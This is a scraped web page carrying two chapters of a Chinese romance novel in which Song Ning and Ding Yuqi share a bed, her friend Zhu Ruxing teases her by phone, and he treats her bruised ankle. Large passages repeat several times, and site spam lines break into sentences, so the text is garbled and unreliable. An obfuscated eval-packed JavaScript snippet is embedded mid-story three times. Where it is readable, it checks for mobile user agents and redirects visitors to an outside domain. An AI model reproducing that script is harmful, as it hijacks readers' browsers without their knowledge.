他的神色温柔了一些声音也沉了下来“我只是想抱抱你。” “……” “放心只是抱一下我什么都不做。” 他将步子和话音一并放轻直到走到床边才依依不舍的把怀里人放了下去动作轻到仿佛她是什么易碎品的地步。 宋凝骤然享受到这样被呵护着的待遇一颗心跳的更快了可还不等她说点什么他先用被子将她裹了个严严实实然后将她拥入怀中一并躺了下去。 这一系列动作发生的无比自然就好像他们先前就是这样无数次睡过去的。 宋凝后背紧紧依靠着丁予期宽厚的胸膛说不紧张绝对是假的。 可他除了从背后抱着她以外再 你的朋友正在书荒,快去帮帮他吧 没有任何逾越的举止,就连手都是规规矩矩环在她腰间的。 真的没有再动了。 “你也困了么?”她低声问了句,回应她的只有清浅的呼吸声。 这人该不会已经睡着了吧? 宋凝做了好一番心理建设,而等她侧过身去望见他的面容,这才发现他不知何时竟然已经睡了过去,并且还是神情安然的熟睡。 他的入睡速度和睡眠质量都委实是令人羡慕。 宋凝忍不住腹诽了一句,却并没有叫醒他的打算,而是用已经适应了昏暗环境的眼睛打量起了他近在咫尺的面容。 只见他下巴和眼底都泛着淡淡的乌青,这都是哪怕极力掩饰也藏不住的疲惫痕迹。 原来他是真的已经很累了。 也不知道是费了多少心力和精气神才能在她面前表现的跟没事人一样。 还特地起来给她烧热水。 其实以前她并不是很注意这些,有时候渴了,从冰箱里拿出水就喝。 只是偶尔生理期的时候会有些痛,并不是很难忍,但总是觉得小腹处坠胀,不是很舒服。 上次在首都的时候,她来过一次生理期,也是这样。 只是她一向是个寡言少语的性子,几乎没有跟任何人提起过。 现在才恍然想起,那段时间丁予期一直若有似无地看一眼她苍白的唇色,然后又看一眼她用手轻轻捂着的小腹,眉心微微拧起。 那时候她只当是丁予期嫌她走得慢有些不满,现在才恍然想起来。 他那时候就已经注意到了这些事。 丁予期对近在咫尺的打量一无所知,只是眉宇缓缓舒展开来,瞧着像是做了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“醒了?” 他说着,快步走过来敲了下卧室门,然后看了看表。 这个点,她确实也该醒了。 宋凝手忙脚乱的将手机放好,试图营造出一副她刚醒过来的假象,然而目光才落到丁予期的时候,眼神亮的怎么看都不像是刚睡醒。 丁予期身上还穿着为了方便晨跑特意换上的运动装,因为时值夏末,上衣和短裤都是轻薄的款式,衬得他本就健硕的身材越发夺目起来,尤其小麦色的皮肤上还有微亮的汗珠在缓缓流淌。 轻薄的运动短袖因为被汗水浸湿的缘故,布料几乎变成了半透明的模样,让他挺括但并不算夸张的肌肉轮廓变得格外明显。 这一看就是常年坚持锻炼的人才能拥有的线条,干净利落但不夸张,手感想必也是一等一的好。 宋凝心神一恍,不由自主的关注起了他双手和手臂内侧有疑似皮肤病留下的色斑痕迹的地方。 丁予期站在门边,饶有兴致的问了宋凝一句:“大早上的,你忽然盯着我看是什么意思?总不能是放着早餐不吃,觉得我秀色可餐吧?” “你少自恋,我只是还在醒神罢了。”宋凝在跟他斗嘴的同时,不忘迅速收回落在他手臂上的目光。 许是因为丁予期刚运动过的缘故,他手臂上的青筋变得很明显,至于那些本就不明显的色块则是消失到了几乎看不出来的地步。 大概是因为他的皮肤病不严重,休息过后就缓和了许多吧。 宋凝想到这里,没有再多此一举的追问,而是对他说:“我要换衣服了,你……先出去一下。” 礼貌的措辞中带着几分局促。 他们两个领了结婚证的孤男寡女共处一室,原本就容易引人遐想,更何况昨天晚上他们还睡了同一张床。 虽然实际上没发生任何事,但对她来说还是难免尴尬。 尤其宋凝已经从瑞贝卡那里知晓了丁予期的心思,她对他既愧疚又回避,真是不知道该如何面对才好。 幸好丁予期这次没有以往的敏锐,他迅速退了几步出去说:“好,那我先去洗澡,早餐是你喜欢的小笼包和豆浆,趁热吃。” 这两样食物总共也没在外人面前吃过几次,没想到他竟然会记得如此清楚。 宋凝感慨着他的用心,正捧着豆浆小口啜饮时,祝如星的电话先打过来了,她连忙按下了接听键。 “惊不惊喜?我这边快忙完了,刚好周末有个客户要在卫斯理酒店举行婚礼,到时候我必须去找你和唐婷聚一聚了,咱 们仨都不知道多久没聚会了!” 祝如星身为专业的婚礼摄像师,工作一直都很忙,这次能忙里偷闲来找她们聚会着实是不容易。 “当然惊喜,我都快记不清咱们三个上次聚齐是什么时候的事了。”宋凝很开心的笑了,然后问,“你什么时候过来?我这边……” 她的话说到一半,忽起一件还没来得及跟祝如星的事,连忙画风一拐表示:“对了,我现在虽然是经理,可最近什么都没管,周末确实承接了一场婚礼,但我不知道。” 现在这些事都由瑞贝卡负责,她得下楼问一趟才能知道。 祝如星好奇不已的问:“你不是刚接手酒店经理的工作没多久么?怎么这就不管事了?” 这实在不像是宋凝的作风,也难怪她会感到疑问。 宋凝不想让祝如星为自己担心,含糊着带过道:“不是不管事,是……遇到了一点情况在休息,不过已经没事了。” 祝如星见她像是有难言之隐,便没有追问,而是说起了她近来听到的八卦:“刚好我有一个大快人心的消息要跟你分享,你听说了么?傅东擎进局子了。” 这事传播的速度极快,虽然不至于人尽皆知,但他们这个圈子里的人是都知道也都听说过了。 现在傅东擎跟社**一遍也差不多。 “呃……刚听说。”宋凝总不能说她不知道。 祝如星话音里满是大仇得报的畅快:“听说这家伙现在都还没出来呢,虽然他们公司的公关很努力的想给他洗白,但天底下没有不透风的墙,况且我听说他好像是因为**了一个女人才会被抓进去的。啧啧,之前我听你说他外面有女人,还有点不相信,男人果然都是演戏天才啊,我还真信了他对你矢志不渝。” 传闻的精准度委实是不低,就差明确被**人的身份了,听的宋凝干巴巴的笑了一下,叹息道:“其实那个人……” 话刚说了个开头就被开门声给打断了。 丁予期腰间围着浴巾,一边用手把被打湿的额发向后捋去一边温声问:“你这是在跟谁打电话呢?” “朋、朋友。”宋凝言简意赅的概括道。 下一秒,听筒另一边的祝如星瞬间拔高音量:“天呐!我没听错吧?男人的声音!阿凝,是上次我见到的那个大帅哥吗?大早上的你们两个竟然在一起,这绝对是住到一起去了吧!” 宋凝被她的音量吵的耳膜疼,连忙把手机往远处挪了挪。 然后就听到她跟连珠炮似的继续发表感想:“我上次见到你们两个在一起,就觉得郎才女貌特别般配,我这个职业病啊,恨不得给你套上婚纱立刻给你们拍一组照片当我店铺的活广告!绝对点击率暴涨!” “星星,这件事说来话长,目前我们还不是——” 宋凝想说他们只是暂时住在一起,但丁予期已经坐到离她不远处的沙发上去了。 宋凝一窒,捂住了听筒问他:“有事吗?” 他跟没事人似的说,“不用理我,你们继续。” 祝如星那边的环境很安静,足够她把听筒这边的声音听的清清楚楚,笑嘻嘻的说:“你们这么早就待在一起了,昨天晚上肯定……嘿嘿嘿!” 大家都是成年人了,有些话不明说也能懂。 宋凝脸上浮起红晕,小声道:“情况不是你想的那样。” 祝如星很了解她,一听到这声音就知道她是害羞了,所提的问题立刻更八卦也更露骨了:“上次见到那个帅哥的时候,我就觉得他这种类型的男人肯定很行,你现在怎么样?性福不性福?他跟傅东擎比呢,谁比较厉害?” 们仨都不知道多久没聚会了!” 祝如星身为专业的婚礼摄像师,工作一直都很忙,这次能忙里偷闲来找她们聚会着实是不容易。 “当然惊喜,我都快记不清咱们三个上次聚齐是什么时候的事了。”宋凝很开心的笑了,然后问,“你什么时候过来?我这边……” 她的话说到一半,忽起一件还没来得及跟祝如星的事,连忙画风一拐表示:“对了,我现在虽然是经理,可最近什么都没管,周末确实承接了一场婚礼,但我不知道。” 现在这些事都由瑞贝卡负责,她得下楼问一趟才能知道。 祝如星好奇不已的问:“你不是刚接手酒店经理的工作没多久么?怎么这就不管事了?” 这实在不像是宋凝的作风,也难怪她会感到疑问。 宋凝不想让祝如星为自己担心,含糊着带过道:“不是不管事,是……遇到了一点情况在休息,不过已经没事了。” 祝如星见她像是有难言之隐,便没有追问,而是说起了她近来听到的八卦:“刚好我有一个大快人心的消息要跟你分享,你听说了么?傅东擎进局子了。” 这事传播的速度极快,虽然不至于人尽皆知,但他们这个圈子里的人是都知道也都听说过了。 现在傅东擎跟社**一遍也差不多。 “呃……刚听说。”宋凝总不能说她不知道。 祝如星话音里满是大仇得报的畅快:“听说这家伙现在都还没出来呢,虽然他们公司的公关很努力的想给他洗白,但天底下没有不透风的墙,况且我听说他好像是因为**了一个女人才会被抓进去的。啧啧,之前我听你说他外面有女人,还有点不相信,男人果然都是演戏天才啊,我还真信了他对你矢志不渝。” 传闻的精准度委实是不低,就差明确被**人的身份了,听的宋凝干巴巴的笑了一下,叹息道:“其实那个人……” 话刚说了个开头就被开门声给打断了。 丁予期腰间围着浴巾,一边用手把被打湿的额发向后捋去一边温声问:“你这是在跟谁打电话呢?” “朋、朋友。”宋凝言简意赅的概括道。 下一秒,听筒另一边的祝如星瞬间拔高音量:“天呐!我没听错吧?男人的声音!阿凝,是上次我见到的那个大帅哥吗?大早上的你们两个竟然在一起,这绝对是住到一起去了吧!” 宋凝被她的音量吵的耳膜疼,连忙把手机往远处挪了挪。 然后就听到她跟连珠炮似的继续发表感想:“我上次见到你们两个在一起,就觉得郎才女貌特别般配,我这个职业病啊,恨不得给你套上婚纱立刻给你们拍一组照片当我店铺的活广告!绝对点击率暴涨!” “星星,这件事说来话长,目前我们还不是——” 宋凝想说他们只是暂时住在一起,但丁予期已经坐到离她不远处的沙发上去了。 宋凝一窒,捂住了听筒问他:“有事吗?” 他跟没事人似的说,“不用理我,你们继续。” 祝如星那边的环境很安静,足够她把听筒这边的声音听的清清楚楚,笑嘻嘻的说:“你们这么早就待在一起了,昨天晚上肯定……嘿嘿嘿!” 大家都是成年人了,有些话不明说也能懂。 宋凝脸上浮起红晕,小声道:“情况不是你想的那样。” 祝如星很了解她,一听到这声音就知道她是害羞了,所提的问题立刻更八卦也更露骨了:“上次见到那个帅哥的时候,我就觉得他这种类型的男人肯定很行,你现在怎么样?性福不性福?他跟傅东擎比呢,谁比较厉害?” 们仨都不知道多久没聚会了!” 祝如星身为专业的婚礼摄像师,工作一直都很忙,这次能忙里偷闲来找她们聚会着实是不容易。 “当然惊喜,我都快记不清咱们三个上次聚齐是什么时候的事了。”宋凝很开心的笑了,然后问,“你什么时候过来?我这边……” 她的话说到一半,忽起一件还没来得及跟祝如星的事,连忙画风一拐表示:“对了,我现在虽然是经理,可最近什么都没管,周末确实承接了一场婚礼,但我不知道。” 现在这些事都由瑞贝卡负责,她得下楼问一趟才能知道。 祝如星好奇不已的问:“你不是刚接手酒店经理的工作没多久么?怎么这就不管事了?” 这实在不像是宋凝的作风,也难怪她会感到疑问。 宋凝不想让祝如星为自己担心,含糊着带过道:“不是不管事,是……遇到了一点情况在休息,不过已经没事了。” 祝如星见她像是有难言之隐,便没有追问,而是说起了她近来听到的八卦:“刚好我有一个大快人心的消息要跟你分享,你听说了么?傅东擎进局子了。” 这事传播的速度极快,虽然不至于人尽皆知,但他们这个圈子里的人是都知道也都听说过了。 现在傅东擎跟社**一遍也差不多。 “呃……刚听说。”宋凝总不能说她不知道。 祝如星话音里满是大仇得报的畅快:“听说这家伙现在都还没出来呢,虽然他们公司的公关很努力的想给他洗白,但天底下没有不透风的墙,况且我听说他好像是因为**了一个女人才会被抓进去的。啧啧,之前我听你说他外面有女人,还有点不相信,男人果然都是演戏天才啊,我还真信了他对你矢志不渝。” 传闻的精准度委实是不低,就差明确被**人的身份了,听的宋凝干巴巴的笑了一下,叹息道:“其实那个人……” 话刚说了个开头就被开门声给打断了。 丁予期腰间围着浴巾,一边用手把被打湿的额发向后捋去一边温声问:“你这是在跟谁打电话呢?” “朋、朋友。”宋凝言简意赅的概括道。 下一秒,听筒另一边的祝如星瞬间拔高音量:“天呐!我没听错吧?男人的声音!阿凝,是上次我见到的那个大帅哥吗?大早上的你们两个竟然在一起,这绝对是住到一起去了吧!” 宋凝被她的音量吵的耳膜疼,连忙把手机往远处挪了挪。 然后就听到她跟连珠炮似的继续发表感想:“我上次见到你们两个在一起,就觉得郎才女貌特别般配,我这个职业病啊,恨不得给你套上婚纱立刻给你们拍一组照片当我店铺的活广告!绝对点击率暴涨!” “星星,这件事说来话长,目前我们还不是——” 宋凝想说他们只是暂时住在一起,但丁予期已经坐到离她不远处的沙发上去了。 宋凝一窒,捂住了听筒问他:“有事吗?” 他跟没事人似的说,“不用理我,你们继续。” 祝如星那边的环境很安静,足够她把听筒这边的声音听的清清楚楚,笑嘻嘻的说:“你们这么早就待在一起了,昨天晚上肯定……嘿嘿嘿!” 大家都是成年人了,有些话不明说也能懂。 宋凝脸上浮起红晕,小声道:“情况不是你想的那样。” 祝如星很了解她,一听到这声音就知道她是害羞了,所提的问题立刻更八卦也更露骨了:“上次见到那个帅哥的时候,我就觉得他这种类型的男人肯定很行,你现在怎么样?性福不性福?他跟傅东擎比呢,谁比较厉害?” 们仨都不知道多久没聚会了!” 祝如星身为专业的婚礼摄像师,工作一直都很忙,这次能忙里偷闲来找她们聚会着实是不容易。 “当然惊喜,我都快记不清咱们三个上次聚齐是什么时候的事了。”宋凝很开心的笑了,然后问,“你什么时候过来?我这边……” 她的话说到一半,忽起一件还没来得及跟祝如星的事,连忙画风一拐表示:“对了,我现在虽然是经理,可最近什么都没管,周末确实承接了一场婚礼,但我不知道。” 现在这些事都由瑞贝卡负责,她得下楼问一趟才能知道。 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祝如星很了解她,一听到这声音就知道她是害羞了,所提的问题立刻更八卦也更露骨了:“上次见到那个帅哥的时候,我就觉得他这种类型的男人肯定很行,你现在怎么样?性福不性福?他跟傅东擎比呢,谁比较厉害?” 第一百六十四章 男人都是演戏天才 音量没有再继续拔高,却也绝对算不上小。 宋凝头皮发麻,生怕丁予期听见,赶紧抬手捂住听筒,一边小心观察他的神色,一边继续跟祝如星的对话。 “星星,你一个生在红旗下长在和谐社会的姑娘,咱就不能想点积极美好的东西? 祝如星嘿嘿笑:“我这就是响应国家号召啊,国家现在都在催三胎来着! 宋凝:“这样说的话应该是我催你才对啊,你单身多少年了? “所以啊,催我太慢,还是催你更快。阿凝你快说啊,他到底怎么样? 宋凝:“……不知道。 祝如星人傻了:“为什么会不知道?难道你被弄晕了?哇哦,这帅哥这么猛吗?他还有没有其他兄弟,给我介绍介绍? “有,傅东擎,你要吗? 祝如星脸色一变,呸呸呸了几声:“各位佛祖菩萨,哈利路亚,阿凝她胡说的,童言无忌,童言无忌啊。 说着,她咕哝了一句:“我是不是打来的不是时候,打扰了你们啊?你们继续,你们继续! “没…… 丁予期似乎压根就没听到她们的话音,仍旧在专心致志的擦头发,察觉到她的视线后,无比自然的叫了一声:“宋凝。 宋凝整个人都是一抖:“……干什么? 不是刚刚说没事不用管他的吗? “帮我拿一下手机,就在你旁边。 “……哦。 宋凝匆匆应过一声,连跟祝如星的电话都忘了挂,便先把他的手机递了过去,结果不慎将脚踝磕在了沙发转角处,疼的她倒吸了一口凉气。 “怎么了? 丁予期立刻抛开毛巾,先起身扶住了她,见她脚踝上的淤青附近磕红了一片,自责不已道,“就不应该让你帮忙。 宋凝连忙说:“意外而已。 “这么大的空间,这么刁钻的角度,这你都能把自己给撞伤,还真是意外。 宋凝心里嘀咕。 要不是他突然让她帮忙拿什么手机,她才不会撞到呢。 而现在,她有点明白为什么丁予期让她帮忙拿了。 他围在腰间的那条浴巾,一走路就会变松。 他从刚才坐的地方走过来不过几步路的距离,浴巾已经有点往下滑,露出了明显的人鱼线。 宋凝顿时脸颊微烫,赶紧别开脸去:“你、你先别管我,先处理你自己。 丁予期专注看她脚上的伤,“我又没撞上。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “不是,你……你没感觉到什么东西快掉了吗? 丁予期抬头看了一眼天花板:“什么东西快掉了?灯? 宋凝气不打一处来:“你身上的! 丁予期似乎早就察觉到了,哼笑出声。 宋凝这才反应过来,这货绝对是故意的。 浴巾围在他腰上,有点轻微的变化他才是第一个察觉到的。 这个装货! “阿凝,阿凝,你刚刚说什么呢?我这儿信号不好,我没听清。 不是信号不好,是她捂着听筒呢。 宋凝恨恨地说:“我是说,我说得对,男人确实都是演戏天才。 听了她这话,丁予期唇角的弧度又大了些。 他整理了一下浴巾,然后俯下身去,将她受伤的脚踝搭在自己膝盖上,仔仔细细的检查起了那处伤口。 宋凝赶紧抓紧时间跟祝如星说了两句,挂断了电话。 “星星,我先挂了哈,后面再联系。 “我懂我懂,嘿嘿嘿。 宋凝一脸无语。 她嘿嘿嘿个**啊嘿嘿嘿。 正思索间,脚踝上微微刺痛,是丁予期正在检查她被撞伤的地方。 她痛呼了一声:“嘶…… 丁予期哼笑:“女侠好腿法,撞得真不轻。 宋凝刚刚也是被祝如星调侃的不行了,一时慌乱,确实撞得挺重,现在可好,伤上加伤了。 “疼不疼? “……有点。 丁予期继续揶揄她:“你这个力道啊,我就不该带你去射击场,应该带你去跆拳道场,绝对一脚能踹翻两个相扑选手。 宋凝知道这人毒舌的毛病又犯了。 相扑选手她又不是没见过,体重都在两三百斤,她能踹翻才有鬼了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186453|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一上来就这么高难度可不行,我不得先拿你练练手? 说着,她就要把脚踝从他的手中抽出来,顺便踹她一脚。 丁予期捏着她的脚腕,明明看上去只是轻轻握在掌心,可她能明显感受到他的力道。 既不会弄疼她,但也让她绝对挣脱不了。 他的大手就像是严丝合缝地脚镣,控得她压根动弹不得。 他微微蹙眉,轻声说:“别动了,别又把自己弄伤了。 宋凝知道自己的小胳膊小腿肯定是搞不定这个常年健身的大男人,也没有再挣扎下去。 丁予期仔细观察了一会儿,然后站起身来,拎来 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 药箱,已经在握着她的脚腕给她上药。 药膏有点冰,宋凝嘶了一声。 他紧紧握着她的脚腕,不允许她逃跑,声音低而清晰道:“别动,很快就好。” 药油带有一定的刺激性,很快就在宋凝皮肤上晕开丝丝的凉意,让她不由自主的带着浓浓的鼻音“嗯”了一声。 丁予期立刻停下动作,关切道:“很疼么?” 宋凝没必要在这点小事上撒谎,颔首道:“你、你轻点。” 她的脚踝是先前在被**磨出了一圈红肿,刚刚又在沙发腿上重重撞了一下,虽然都不是什么要紧的大问题,可该疼的地方还是会疼。 丁予期嗓音变得更温柔了一分:“好。” 宋凝也不想表现的太软弱,但怕疼是本能反应,她试着忍耐,结果还是在丁予期拿起棉签,仔细给她涂抹消炎药膏时疼出了声。 这一次丁予期换了措辞宽慰她:“就快好了,你再忍耐一下。” “嗯……” 宋凝也不知道现在的消炎药膏为什么都要做成如此富有刺激性,一边倒吸凉气一边勉强忍耐,连她此时跟丁予期之间的距离太近的事都忘了。 疼痛让她本能的来回扭了扭脚。 可是下一秒,她好像踹到了某个不和谐的地方。 丁予期闷哼了一声,极力压抑着,似乎是疼痛,又似乎是快慰。 宋凝整个人都僵住了。 第一百六十五章 擦药风波 她不是小姑娘了,当然知道自己刚刚踹到了什么东西。 再加上丁予期的反应,她还有什么不知道的? 她咬着唇,有些尴尬:“我不是故意的,那个……你没事吧?” 丁予期仍在低头给她涂抹药膏,但从耳朵一直到脖子全都红成了一片:“好好待着,别乱动!” “我尽量不动了。” “嗯。” “你真没事吧?” 刚刚她那一脚不算轻,她自己的力道,她心里有数。 男人的那个部位应该都挺脆弱的吧? 万一…… 丁予期瞥了她一眼,很快收回目光,声音有些微微沙哑:“我也不知道有没有事,要不你陪我试试?” 宋凝啐了他一口:“试你个鬼!” 丁予期闷闷地笑开,手上动作不停:“你朋友不是问你我行不行么,你确定不试试?大家都是熟人,算你优惠,别人都是试用七天,你可以试用一年,不满意可以无理由退款。” 宋凝哼了一声:“还有心情跟我吵架,你应该没事,不用试了。” 丁予期仍旧噙着一抹笑意,只是没有再跟她继续纠缠在这个话题了。 孤男寡女,他又刚刚受了刺激。 万一真的擦枪走火,两个人都不好收场。 宋凝也是见好就收,没有再继续就这个话题跟他斗嘴了,沉默着忍着疼,不再吭声。 药膏涂上之后,伤口一开始微微冰凉,然后变成热乎乎的感觉。 疼痛的感觉经过他的按摩,也渐渐减轻了许多。 丁予期主动告诉她:“好了,你先别动,让药吸收一会儿,我先去洗手。” 他为了给她上药,特意将她的脚踝搁在了自己大腿上,而药油和药膏难免会因为这个姿势的缘故沾到他手上去,哪怕这时不凑近也照样能闻到浓烈的药油气息。 宋凝顿感不好意思的应了一声,因为鼻音尚未消失,听起来莫名带着几分低沉。 她鬼使神差的看向丁予期离去的方向,不自觉的又想起了昨晚的事。 卧室里的大床柔软宽阔,就算并排躺上四五个成年人都没问题,可他们两个却挨在一处睡到天亮,就好像天气已经冷到非抱团取暖不可的地步似的。 “那个……阿凝……” 有熟悉的声音将宋凝的注意力唤了回来。 她慌忙往身侧看去,这才发现先前被随手丢开的手机仍旧处在通话中! 宋凝当场头脑宕机,不知该说什么是好了 。 祝如星以为她是没注意到自己的声音,又在听筒另一边用夸张的声音问:“阿凝啊……那个……我真不是故意听的啊,你刚刚说要挂断,但是我等啊等,都没等到你挂,我还以为是你专门让我听的,我就一直听下去了。” 宋凝:“……” 说社死谁更社死。 她刚刚记得自己按了挂机键了啊? 怎么就没挂电话呢? 没按准吗? “阿凝,他确定走了吧?我一直忍着,等他说去洗手了才敢说话……” “走了走了,”宋凝深呼吸了好几下,才勉强让自己显得不那么尴尬:“星星,刚刚我们只是上药而已,你懂得,对吧?” “我懂!我可太懂了!”祝如星:“你们要道具吗?医生服护士服,还有听诊器注射器什么的,要吗要吗?我认识一个专门做cos道具的大佬,你们想要玩什么play需要什么道具他都能做!” 宋凝:“……” 为什么电信的信号这么好啊! 为什么不突然中断!!! “嘿嘿嘿,要不然阿凝我挂了吧,我按得准!一会儿他就回来了,我可不能打扰你们啊!” 宋凝一听到她的语调就猜肯定是误会了,忙不迭的表示:“没有打扰!我们……” “大家都是成年人了,我懂。”祝如星在她看不到的地方两眼放光,再次贼笑出声,调侃道,“你放心,这边就我一个人,我绝不会传出去的。” 宋凝懊恼不已的解释:“你真别乱脑补啊!大清早的谁有心思……” 话音未落,她先意识到了失言,连忙又找补道:“晚上也没有!” 祝如星哪里会相信这个说法,还是用“我懂”的语气继续道:“好好好,我都明白,只是没想到大帅哥这么有服务意识,这样的男人不多见,就算跟他消遣一年,这样盘靓条顺的不比男模强?” 她做婚礼摄影师这些年来,见过的帅哥也算不少了,但像丁予期这样完美的款式委实是罕见,当即本着造福闺蜜的念头劝宋凝多享受一番。 宋凝眼见越描越黑,对此则是无福消受,她叹道:“我看你是越来越不着调了。” 祝如星以为自己说中了,笑的更加意味深长了,而就在宋凝无语至极,在思索是否要打个视频电话过去澄清谣言时,丁予期总算洗完手回来了。 他这次问的更细了些:“这是跟谁聊了这么久?” “祝如星。” “就是上次偷拍我们的那个?” “……嗯。” 丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。” 那些不雅照片一日不被销毁,宋凝就一日不得安寝。 但丁予期这个人,虽然看起来吊儿郎当有些不着调,但她就是莫名的觉得,只要他应承了的事情,就一定能办到的。 他的话还是给她吃了颗定心丸。 等等。 “什么叫‘丑女婿得见大姨姐’?第一,我比她们两个大几个月,就算是也是小姨子才对,第二,‘女婿’用的也不对吧?” 丁予期点头:“懂了,妹夫。” “还有,你觉得自己丑吗?” 丁予期挑眉:“你觉得呢?” 他摸了摸她的后脑的碎发:“你漂亮就行。” “……嗯。” 丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。” 那些不雅照片一日不被销毁,宋凝就一日不得安寝。 但丁予期这个人,虽然看起来吊儿郎当有些不着调,但她就是莫名的觉得,只要他应承了的事情,就一定能办到的。 他的话还是给她吃了颗定心丸。 等等。 “什么叫‘丑女婿得见大姨姐’?第一,我比她们两个大几个月,就算是也是小姨子才对,第二,‘女婿’用的也不对吧?” 丁予期点头:“懂了,妹夫。” “还有,你觉得自己丑吗?” 丁予期挑眉:“你觉得呢?” 他摸了摸她的后脑的碎发:“你漂亮就行。” “……嗯。” 丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。” 那些不雅照片一日不被销毁,宋凝就一日不得安寝。 但丁予期这个人,虽然看起来吊儿郎当有些不着调,但她就是莫名的觉得,只要他应承了的事情,就一定能办到的。 他的话还是给她吃了颗定心丸。 等等。 “什么叫‘丑女婿得见大姨姐’?第一,我比她们两个大几个月,就算是也是小姨子才对,第二,‘女婿’用的也不对吧?” 丁予期点头:“懂了,妹夫。” “还有,你觉得自己丑吗?” 丁予期挑眉:“你觉得呢?” 他摸了摸她的后脑的碎发:“你漂亮就行。” “……嗯。” 丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。” 那些不雅照片一日不被销毁,宋凝就一日不得安寝。 但丁予期这个人,虽然看起来吊儿郎当有些不着调,但她就是莫名的觉得,只要他应承了的事情,就一定能办到的。 他的话还是给她吃了颗定心丸。 等等。 “什么叫‘丑女婿得见大姨姐’?第一,我比她们两个大几个月,就算是也是小姨子才对,第二,‘女婿’用的也不对吧?” 丁予期点头:“懂了,妹夫。” “还有,你觉得自己丑吗?” 丁予期挑眉:“你觉得呢?” 他摸了摸她的后脑的碎发:“你漂亮就行。” “……嗯。” 丁予期颔首道,“那正好,我周末想请你带上她和唐婷一起吃顿饭,可以问问她的安排。” 听筒另一边的祝如星答应的很痛快:“我周末结束工作后随时有空,你们安排就好,我就先挂了,不打扰你们了!” 电话就此被挂断,压根没给宋凝留继续找补的机会。 丁予期顺势表示:“现在你可以问一下唐婷的安排了。” 宋凝百思不得其解:“你好端端的见她们两个做什么?这只会把事情越描越黑,而且唐婷的事还没解决。” 这件事始终是扎在她心底的一根刺。 丁予期表现的理直气壮:“丑女婿也得见大姨姐,况且我要见的还是两位,你只要确认她们的时间安排就好,剩下的一切都有我——包括唐婷的事。” 那些不雅照片一日不被销毁,宋凝就一日不得安寝。 